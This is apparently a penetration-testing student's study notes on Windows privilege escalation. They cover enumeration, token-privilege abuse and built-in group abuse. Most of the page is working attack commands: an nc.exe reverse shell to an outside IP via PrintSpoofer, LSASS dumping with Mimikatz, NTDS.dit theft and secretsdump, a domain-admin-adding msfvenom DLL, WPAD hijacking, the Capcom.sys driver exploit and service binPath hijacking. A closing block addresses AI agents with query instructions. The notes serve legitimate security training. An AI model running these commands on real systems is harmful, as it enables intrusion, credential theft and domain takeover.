# Windows Privilege Escalation (TBC)

## Introduction

* Elevating privileges on a Windows system is a crucial step after gaining initial access. By moving from a low-privilege account to one with administrative rights or even SYSTEM-level access, you open the door to persistence, deeper network reconnaissance, and further lateral movement.
* The general goal of Windows privilege escalation is gain the privilege of the **Local Administrators** group or the **NT AUTHORITY\SYSTEM** LocalSystem account.
* While there are many tools available, it’s always important to understand what they do and how to manually verify their output. Tools can provide a huge amount of data. While they speed up the process, take time to interpret the output to avoid information overload. Examples of the tools we can use:
  * Seatbelt
  * winPEAS
  * PowerUp/SharpUp (C# version of PowerUp)
  * JAWS
  * SessionGopher
  * Watson
  * LaZagne
  * Windows Exploit Suggester - Next Generation
  * Sysinternals Suite

{% hint style="info" %}
When you gain access, you might not have many writable directories. A reliable location to upload your tools is: C:\Windows\Temp
{% endhint %}

## Initial Enumeration

* Begin your assessment by collecting key system details:
* **Operating System & Version:** Identify whether you’re dealing with a workstation or server (e.g., Windows 7, Windows 10, Server 2008, 2012, 2016, 2019, etc.). Knowing the OS type and version can guide your choice of tools and hint towards potential public exploits.
* **Running Services:** Investigate services, especially those running as **NT AUTHORITY\SYSTEM** or with administrative privileges. Misconfigured or vulnerable services can be prime targets.
* **Environment Variables:** Use the `set` command to print the current environment variables. These can reveal configuration details and potential weaknesses.
* **Installed Programs & Running Processes:** Processes running on the system, even if not running as an administrator, might have tokens that can be abused for privilege escalation.

### Named Pipes

* Named pipes are a common method for inter-process communication. Since they reside in memory, their permissions and usage can offer clues for further escalation:

  * **Using Sysinternals:**

  <pre data-overflow="wrap" data-full-width="true"><code>pipelist.exe /accepteula
  </code></pre>

  * **Using PowerShell:**

  <pre class="language-powershell" data-overflow="wrap" data-full-width="true"><code class="lang-powershell">gci \\.\pipe\
  </code></pre>
* After listing the pipes, check specific permissions (for example, on the LSASS pipe) with:

{% code overflow="wrap" fullWidth="true" %}

```
accesschk.exe /accepteula \\.\Pipe\lsass -v
```

{% endcode %}

### Network & System Information

* Another essential thing is understanding your target environment. Start by gathering basic network and system details:
  * **Network Configuration:**
    * `ipconfig /all`
    * `arp -a`
    * `route print`
  * **Security Services:** Check if Microsoft Defender is active or if AppLocker is enforcing policies to understand what you are permitted and not permitted to do:

    <pre class="language-powershell" data-overflow="wrap" data-full-width="true"><code class="lang-powershell">Get-MpComputerStatus
    Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
    </code></pre>

### Gathering User & Group Information

* Collecting detailed user and group data helps in mapping out the system’s security posture. Useful commands include:
  * **Processes & Environment:**

    ```powershell
    tasklist /svc
    set
    systeminfo
    ```
* **Hotfixes:**
  * CMD: `wmic qfe`
  * PowerShell: `Get-HotFix | ft -AutoSize`
* **Installed Programs:**
  * CMD: `wmic product get name`
  * PowerShell: `Get-WmiObject -Class Win32_Product | select Name, Version`
* **Network Services & User Details:**

  ```powershell
  netstat -ano # List Network Services
  query user # List Online Users
  echo %USERNAME% # Display the Current Username
  whoami /priv # List Privileges of the Current User
  whoami /groups # List Groups of the Current User
  net user # List Users
  net localgroup # List Members
  net localgroup administrators # List Group Members
  net accounts # List Account & Password Policies
  ```

## Windows Privileges

* Privileges in Windows define what actions an account can perform. Every security principal (users, computers, processes) is identified by a unique SID.
* Every process in Windows runs with an access token that details the security context of the process. These tokens, although stored in memory, can sometimes be exploited, especially if they have privileges like **SeImpersonate**.
* Sometimes, certain privileges may be assigned but disabled. In such cases, PowerShell scripts, PoCs can be found online, can help you enable these privileges, ensuring you can leverage them during your escalation efforts.

{% hint style="info" %}
Many administrative privileges are only visible in an elevated session. Rights displayed in a non-elevated console vs. an elevated console will differ drastically.
{% endhint %}

### SeImpersonate & SeAssignPrimaryToken

* The **SeImpersonate** privilege allows a process to assume the security context of another user. Attackers can leverage this "Potato style" technique to gain SYSTEM-level access by tricking a privileged process into passing its token.
* **Common Tools:**

  * JuicyPotato (May not work on modern servers)
  * PrintSpoofer

  ```powershell
  PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"
  ```

### SeDebugPrivilege

* The **SeDebugPrivilege** lets a user debug and access the memory of processes, such as LSASS, which holds user credentials.
* **Memory Dumping:**
  * Use ProcDump from the Sysinternals Suite to dump LSASS memory:

    ```powershell
    whoami /priv # Check for SeDebugPrivilege
    procdump.exe -accepteula -ma lsass.exe lsass.dmp # Dumps the Lsass
    ```
* **Extracting Credentials with Mimikatz:**
  * Launch Mimikatz and run:

    ```powershell
    mimikatz # log
    mimikatz # sekurlsa::minidump lsass.dmp
    mimikatz # sekurlsa::logonpasswords
    ```

{% hint style="info" %}
Redirect Mimikatz output to a text file by typing “log” to ensure all output is saved, especially useful when handling many credentials.
{% endhint %}

* In cases where tool uploads are limited, you might use RDP and Task Manager to generate process dumps using the GUI.

### SeTakeOwnershipPrivilege

* This privilege allows you to take ownership of any securable object such as files, registry keys, and services. This is particularly useful if you encounter files or objects with restricted access.
* **Example Scenario:**
  * Suppose you find a file `cred.txt` under a restricted share and lack access. First, check its details:

    <pre class="language-powershell" data-overflow="wrap" data-full-width="true"><code class="lang-powershell">Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname, LastWriteTime, Attributes, @{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
    </code></pre>
  * Then, take ownership:

    ```powershell
    takeown /f 'C:\Department Shares\Private\IT\cred.txt'
    ```
  * Finally, grant yourself full access:

    <pre class="language-powershell" data-overflow="wrap" data-full-width="true"><code class="lang-powershell">icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
    </code></pre>

{% hint style="danger" %}
Changing ownership and permissions can disrupt system functionality. Always ensure you have proper authorization and understand the potential impact of these actions.
{% endhint %}

## Privileges via Built-in Groups

* Privileges in Windows aren’t just assigned to individual accounts—group memberships can grant powerful rights as well. Using the command:

```
whoami /groups
```

* you can quickly see which built-in groups you belong to. Below we examine several key groups that can be exploited:

### **Backup Operators**

* Membership in this group grants the **SeBackup** and **SeRestore** privileges.&#x20;
* With **SeBackupPrivilege**, you can traverse any folder and list its contents, even when no explicit access control entry (ACE) exists for your account. However, instead of the standard copy command, you must copy files programmatically while specifying the `FILE_FLAG_BACKUP_SEMANTICS` flag. A PoC such as “SeBackupPrivilege” can be used to facilitate this. A PoC named **SeBackupPrivilege** is available to help achieve this.
* Depending on the server settings, you may need to spawn an elevated CMD prompt (to bypass UAC) before enabling this privilege. If the privilege is disabled, it can be enabled with:

```
Set-SeBackupPrivilege
```

* A practical use case is attacking a Domain Controller by copying the **NTDS.dit** file, which contains NTLM hashes for all domain user and computer objects. Since **NTDS.dit** is locked and not accessible by unprivileged users, you can use the Windows **diskshadow** utility to create a shadow copy of the C drive (exposing it as, say, drive E:). In this shadow copy, **NTDS.dit** is not in use. Then, using the **Copy-FileSeBackupPrivilege** cmdlet, you can bypass the ACL and copy **NTDS.dit** locally.
* It also lets you back up the SAM and SYSTEM registry hives, which can then be used with tools like Impacket's `secretsdump.py` to extract offline credentials. Keep in mind, however, that if a file or folder has an explicit deny entry for your user or one of your groups, this method will still be blocked.
* Once you have the **NTDS.dit** file, you can extract Active Directory account credentials using one of two methods:
* **Using DSInternals:**

{% code overflow="wrap" fullWidth="true" %}

```powershell
Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\SYSTEM
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
```

{% endcode %}

* **Using secretsdump.py:**

{% code overflow="wrap" fullWidth="true" %}

```
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```

{% endcode %}

* Another option is to leverage the built-in utility **robocopy** in backup mode. Unlike the standard copy command, **robocopy** can compare files and remove files no longer present in the source. For example:

```
robocopy /B E:\Windows\NTDS .\ntds ntds.dit
```

### **Event Log Readers**

* If auditing is enabled, Windows logs process creation events (including command line details) as event ID 4688 in the Security log. Members of the **Event Log Readers** group can access these logs, which may contain valuable information such as passwords or sensitive parameters. You can query these events using:

{% code overflow="wrap" fullWidth="true" %}

```powershell
wevtutil qe Security /rd:true /f:text | Select-String "/user"

wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user" # Using alternate credentials

Get-WinEvent -LogName Security | Where-Object { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{Name='CommandLine';Expression={ $_.Properties[8].Value }} # Using Get-WinEvent
```

{% endcode %}

* Other logs, like the PowerShell Operational log, may also contain sensitive information.

### **DnsAdmins**

* Members of the **DnsAdmins** group have access to DNS configuration and data across the network. Because the DNS service runs as **NT AUTHORITY\SYSTEM** and supports custom plugins, an attacker in this group can potentially escalate privileges, especially on Domain Controllers or dedicated DNS servers.

#### **Steps:**

* DNS management operates over RPC.
* The registry key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll` can be populated to load a custom DLL without path verification.
* Using the `dnscmd` utility, you can set this key. Upon restarting the DNS service, the DLL will be loaded.

#### **Example:**

* Generate a malicious DLL with **msfvenom**:

{% code overflow="wrap" fullWidth="true" %}

```bash
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
```

{% endcode %}

* Upload the DLL to the target.
* Load the custom DLL:

{% code overflow="wrap" fullWidth="true" %}

```
cmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
```

{% endcode %}

{% hint style="info" %}
You must specify the full path to your custom DLL, or the attack will not work properly.
{% endhint %}

* Restarting the DNS service is required for the attack to take effect. Verify your permissions with:

{% code overflow="wrap" fullWidth="true" %}

```
wmic useraccount where name="netadm" get sid 
sc.exe sdshow DNS
```

{% endcode %}

* To restart the service (if allowed):&#x20;

```
sc.exe stop dns 
sc.exe start dns
```

{% hint style="info" %}
Then run `gpupdate /force` (or/and log off and back on, using the logoff command) to apply changes.
{% endhint %}

* After the attack, remember to clean up the registry setting:

{% code overflow="wrap" fullWidth="true" %}

```
reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
```

{% endcode %}

* An alternative exploitation vector involves disabling the global query block list and creating a WPAD record, every machine running WPAD with default settings will have its traffic proxied through your attack machine. For example:

{% code overflow="wrap" fullWidth="true" %}

```powershell
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3
```

{% endcode %}

### **Hyper-V Administrators**

* The **Hyper-V Administrators** group has full access to Hyper-V features. In environments where Domain Controllers are virtualized, administrators in this group could effectively gain Domain Admin privileges. They can clone live Domain Controllers and mount the virtual disk offline to extract the **NTDS.dit** file, thus retrieving NTLM hashes for all domain users.
* Additionally, when a virtual machine is deleted, the **vmms.exe** process restores the original permissions on the corresponding `.vhdx` file as **NT AUTHORITY\SYSTEM**. By deleting the `.vhdx` file and creating a hard link to a protected SYSTEM file (one you have full permissions for), you may be able to escalate your privileges.&#x20;
* Note, however, that this vector has been mitigated by the March 2020 Windows security updates.

### **Print Operators**

* The **Print Operators** group is highly privileged. Its members receive the **SeLoadDriverPrivilege**, enabling them to manage, create, share, and delete printers connected to a Domain Controller, as well as log on locally and even shut down the Domain Controller. Make sure to check for the privileges in an elevated session. You might need to bypass UAC (for instance, using techniques from the UACMe repository) or open an elevated command shell using the credentials of a Print Operators member.
* The vulnerable driver **Capcom.sys** is well known for allowing any user to execute shellcode with SYSTEM privileges. You can exploit this by using the PoC **EnableSeLoadDriverPrivilege.cpp**. First, compile the PoC:

{% code overflow="wrap" fullWidth="true" %}

```powershell
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
```

{% endcode %}

* Then download the **Capcom.sys** driver (saving it to, for example, `C:\Tools\Capcom.sys`) and add a reference to it under your HKEY\_CURRENT\_USER tree:

{% code overflow="wrap" fullWidth="true" %}

```powershell
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
```

{% endcode %}

* Verify that the driver is loaded:

{% code overflow="wrap" fullWidth="true" %}

```powershell
.\DriverView.exe /stext drivers.txt
cat drivers.txt | Select-String -pattern Capcom
```

{% endcode %}

* Finally, run a PoC such as **ExploitCapcom** to trigger a SYSTEM shell. If GUI access isn’t available, modify the PoC to, for example, yield a reverse shell.
* Tools like **EoPLoadDriver** can automate this entire process and you would have to only run **ExploitCapcom**.

{% hint style="info" %}
Since Windows 10 Version 1803, the **SeLoadDriverPrivilege** is no longer exploitable via references in the **HKEY\_CURRENT\_USER** branch.
{% endhint %}

### **Server Operators**

* The **Server Operators** group allows its members to administer Windows servers (including Domain Controllers) without needing full Domain Admin privileges. Membership confers not only **SeBackup** and **SeRestore** privileges but also control over local services.
* **Example Scenario:** Examine the **AppReadiness** service, confirm that it runs as SYSTEM using:

{% code overflow="wrap" fullWidth="true" %}

```powershell
sc.exe qc AppReadiness
c:\Tools\PsService.exe security AppReadiness
```

{% endcode %}

* You can change the service’s binary path to execute a command that adds your current user to the local Administrators group:

{% code overflow="wrap" fullWidth="true" %}

```powershell
sc.exe config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
```

{% endcode %}

* Then, attempt to start the service:

{% code overflow="wrap" fullWidth="true" %}

```powershell
sc.exe start AppReadiness
```

{% endcode %}

* Should fail to run (as expected), but if you then check the Administrators group membership, you’ll see that the command executed successfully.

{% hint style="warning" %}
Modifying service configurations on production systems can be very disruptive. Always ensure you have the proper authorization and understand the impact before proceeding.
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kayra.gitbook.io/hackerkayra/study-notes/penetration-tester-htb-cpts/post-exploitation/windows-privilege-escalation-tbc.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
